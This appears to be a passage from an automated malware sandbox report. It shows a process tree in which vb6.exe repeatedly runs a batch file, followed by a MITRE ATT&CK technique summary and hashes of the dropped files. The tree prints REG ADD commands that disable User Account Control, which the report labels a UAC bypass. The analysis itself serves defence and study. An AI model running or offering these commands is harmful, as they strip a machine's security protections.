                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                      • Checks computer location settings
                                                                                                                                                                                                                                                                                                                                      • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                                                                      PID:4540
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JNYVYK.bat" "
                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                        PID:3384
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                          REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center /v UACDisableNotify /t REG_DWORD /d 0 /f
                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                            PID:4532
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                            REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                            • UAC bypass
                                                                                                                                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                            PID:2240
                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                          PID:2640
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                        PID:3668
                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                          • Checks computer location settings
                                                                                                                                                                                                                                                                                                                                          • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                          PID:3208
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JNYVYK.bat" "
                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                              PID:636
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center /v UACDisableNotify /t REG_DWORD /d 0 /f
                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                  PID:6036
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                  REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                  • UAC bypass
                                                                                                                                                                                                                                                                                                                                                  PID:868
                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                  PID:3592
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                PID:4980
                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                  PID:2156
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                  PID:3160
                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                    • Checks computer location settings
                                                                                                                                                                                                                                                                                                                                                    • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                                                                                    PID:3392
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JNYVYK.bat" "
                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                        PID:2944
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                          REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center /v UACDisableNotify /t REG_DWORD /d 0 /f
                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                            PID:3500
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                            REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                            • UAC bypass
                                                                                                                                                                                                                                                                                                                                                            PID:1620
                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                            PID:5856
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                          PID:5284
                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                              PID:5032
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                              PID:2576
                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                • Checks computer location settings
                                                                                                                                                                                                                                                                                                                                                                • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                                                                                                PID:1972
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JNYVYK.bat" "
                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                  PID:1488
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                    REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center /v UACDisableNotify /t REG_DWORD /d 0 /f
                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:3968
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                      REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                      • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                      PID:5060
                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:1416
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:5824
                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:4252
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:5676
                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                          • Checks computer location settings
                                                                                                                                                                                                                                                                                                                                                                          • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                                                                                                          PID:5108
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JNYVYK.bat" "
                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:2116
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center /v UACDisableNotify /t REG_DWORD /d 0 /f
                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:1792
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                  REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                  • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                  PID:4500
                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                PID:2416
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:5888
                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:4256
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:212
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                    PID:3980
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:2916
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                      • Checks computer location settings
                                                                                                                                                                                                                                                                                                                                                                                      • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                                                                                                                      PID:2728
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JNYVYK.bat" "
                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                        PID:4816
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                          REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center /v UACDisableNotify /t REG_DWORD /d 0 /f
                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                            PID:464
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                            REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                            • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                            PID:5956
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                            PID:2936
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:1448
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:1840
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:4996
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                • Checks computer location settings
                                                                                                                                                                                                                                                                                                                                                                                                PID:5932
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JNYVYK.bat" "
                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                    PID:2836
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                      REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center /v UACDisableNotify /t REG_DWORD /d 0 /f
                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:5556
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                        REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:4960
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:2080

                                                                                                                                                                                                                                                                                                                                                                                                    Network

                                                                                                                                                                                                                                                                                                                                                                                                    MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                                                                                                                                                                                                                    Reconnaissance

                                                                                                                                                                                                                                                                                                                                                                                                    Resource Development

                                                                                                                                                                                                                                                                                                                                                                                                    Initial Access

                                                                                                                                                                                                                                                                                                                                                                                                    Execution

                                                                                                                                                                                                                                                                                                                                                                                                    Persistence

                                                                                                                                                                                                                                                                                                                                                                                                    Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                                                                                                                                                    4
                                                                                                                                                                                                                                                                                                                                                                                                    T1547

                                                                                                                                                                                                                                                                                                                                                                                                    Active Setup

                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                    T1547.014

                                                                                                                                                                                                                                                                                                                                                                                                    Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                                                                                                                                                                    2
                                                                                                                                                                                                                                                                                                                                                                                                    T1547.001

                                                                                                                                                                                                                                                                                                                                                                                                    Winlogon Helper DLL

                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                    T1547.004

                                                                                                                                                                                                                                                                                                                                                                                                    Create or Modify System Process

                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                    T1543

                                                                                                                                                                                                                                                                                                                                                                                                    Windows Service

                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                    T1543.003

                                                                                                                                                                                                                                                                                                                                                                                                    Privilege Escalation

                                                                                                                                                                                                                                                                                                                                                                                                    Abuse Elevation Control Mechanism

                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                    T1548

                                                                                                                                                                                                                                                                                                                                                                                                    Bypass User Account Control

                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                    T1548.002

                                                                                                                                                                                                                                                                                                                                                                                                    Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                                                                                                                                                    4
                                                                                                                                                                                                                                                                                                                                                                                                    T1547

                                                                                                                                                                                                                                                                                                                                                                                                    Active Setup

                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                    T1547.014

                                                                                                                                                                                                                                                                                                                                                                                                    Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                                                                                                                                                                    2
                                                                                                                                                                                                                                                                                                                                                                                                    T1547.001

                                                                                                                                                                                                                                                                                                                                                                                                    Winlogon Helper DLL

                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                    T1547.004

                                                                                                                                                                                                                                                                                                                                                                                                    Create or Modify System Process

                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                    T1543

                                                                                                                                                                                                                                                                                                                                                                                                    Windows Service

                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                    T1543.003

                                                                                                                                                                                                                                                                                                                                                                                                    Defense Evasion

                                                                                                                                                                                                                                                                                                                                                                                                    Abuse Elevation Control Mechanism

                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                    T1548

                                                                                                                                                                                                                                                                                                                                                                                                    Bypass User Account Control

                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                    T1548.002

                                                                                                                                                                                                                                                                                                                                                                                                    Impair Defenses

                                                                                                                                                                                                                                                                                                                                                                                                    2
                                                                                                                                                                                                                                                                                                                                                                                                    T1562

                                                                                                                                                                                                                                                                                                                                                                                                    Disable or Modify System Firewall

                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                    T1562.004

                                                                                                                                                                                                                                                                                                                                                                                                    Disable or Modify Tools

                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                    T1562.001

                                                                                                                                                                                                                                                                                                                                                                                                    Modify Registry

                                                                                                                                                                                                                                                                                                                                                                                                    7
                                                                                                                                                                                                                                                                                                                                                                                                    T1112

                                                                                                                                                                                                                                                                                                                                                                                                    Credential Access

                                                                                                                                                                                                                                                                                                                                                                                                    Discovery

                                                                                                                                                                                                                                                                                                                                                                                                    Query Registry

                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                    T1012

                                                                                                                                                                                                                                                                                                                                                                                                    System Information Discovery

                                                                                                                                                                                                                                                                                                                                                                                                    3
                                                                                                                                                                                                                                                                                                                                                                                                    T1082

                                                                                                                                                                                                                                                                                                                                                                                                    System Location Discovery

                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                    T1614

                                                                                                                                                                                                                                                                                                                                                                                                    System Language Discovery

                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                    T1614.001

                                                                                                                                                                                                                                                                                                                                                                                                    Lateral Movement

                                                                                                                                                                                                                                                                                                                                                                                                    Collection

                                                                                                                                                                                                                                                                                                                                                                                                    Command and Control

                                                                                                                                                                                                                                                                                                                                                                                                    Exfiltration

                                                                                                                                                                                                                                                                                                                                                                                                    Impact

                                                                                                                                                                                                                                                                                                                                                                                                    Replay Monitor

                                                                                                                                                                                                                                                                                                                                                                                                    Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                                                                    Downloads

                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Program Files (x86)\Internet Explorer\Ieupdate.txt
                                                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                                                      288KB

                                                                                                                                                                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                                                                                                                                                                      5ad86c83a71d9521fbb2bcd34104df97

                                                                                                                                                                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                                                                                                                                                                      22cc1cd41ccf4272b4c6cb7e863a080c70d8ca84

                                                                                                                                                                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                                                                                                                                                                      f5543ff4a805dd1d85f133724f6a404abc02b48653d5d3cf93627ed73dcc5588

                                                                                                                                                                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                                                                                                                                                                      0ab1b416abdf8dca9afe0329e02da006947828a531af8f69dac16065ad8f2dcd864a6e46718caa92e6accfc4ee1ff4d323cdb23d69b69f20e4f0b87f0aab9a87

                                                                                                                                                                                                                                                                                                                                                                                                      Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\GsuPK.bat
                                                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                                                      181B

                                                                                                                                                                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                                                                                                                                                                      09d67635a7674b12183c3f0668ce0cd1

                                                                                                                                                                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                                                                                                                                                                      c3fe2225cc5198a1c33df0342a95528c2e657a6d

                                                                                                                                                                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                                                                                                                                                                      972e896e8649a5d2caf286a0d75db99909587b1d2f4683870207b547c3bc02d9

                                                                                                                                                                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                                                                                                                                                                      b37bdad4fb0e9ab947ea5750337de073907d31156d0d00a1a79392741ced2d1aabf1cc2d92581d7f068266f82cd5b2c10fd7e5c573044e6ce77dea6da6dde321

                                                                                                                                                                                                                                                                                                                                                                                                      Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\JNYVYK.bat
                                                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                                                      274B

                                                                                                                                                                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                                                                                                                                                                      9fcec2a4ee61953e0d4867261a39ea32

                                                                                                                                                                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                                                                                                                                                                      d552acf26d9fcc31a9da82ecce503b16a11e9d2a

                                                                                                                                                                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                                                                                                                                                                      24c5da914d1f429c07ef17dfb7d4d0c90eb060e5a9bd009963fba83b1dd6cae3

                                                                                                                                                                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                                                                                                                                                                      57d8a88138645780357a88658f21f833efa0ba657dd1fefa6458ba930731e1949216b518f26ab995241837bc7e6eff90b46e5cb5ec34364d2f89db09779e5564

                                                                                                                                                                                                                                                                                                                                                                                                      Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\hgpSn.bat
                                                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                                                      148B

                                                                                                                                                                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                                                                                                                                                                      3d470539cbafa762cdb72a4635ad553d

                                                                                                                                                                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                                                                                                                                                                      4bda3e7de91052dc7d073d8b278ad09ad0d10fa6

                                                                                                                                                                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                                                                                                                                                                      9f0571e3567d7e1849c7bd5dd7b7a2be942ec44aea6c8bb32d415874b7282691

                                                                                                                                                                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                                                                                                                                                                      42b168fabd5ddd175ccd143d4f9338880aad03eb22d07fb8a2e13f387015b9eb1d23307bff3ae370c95a5644c88c5e9f7c8b12b332b595c79be069ffc92a448e

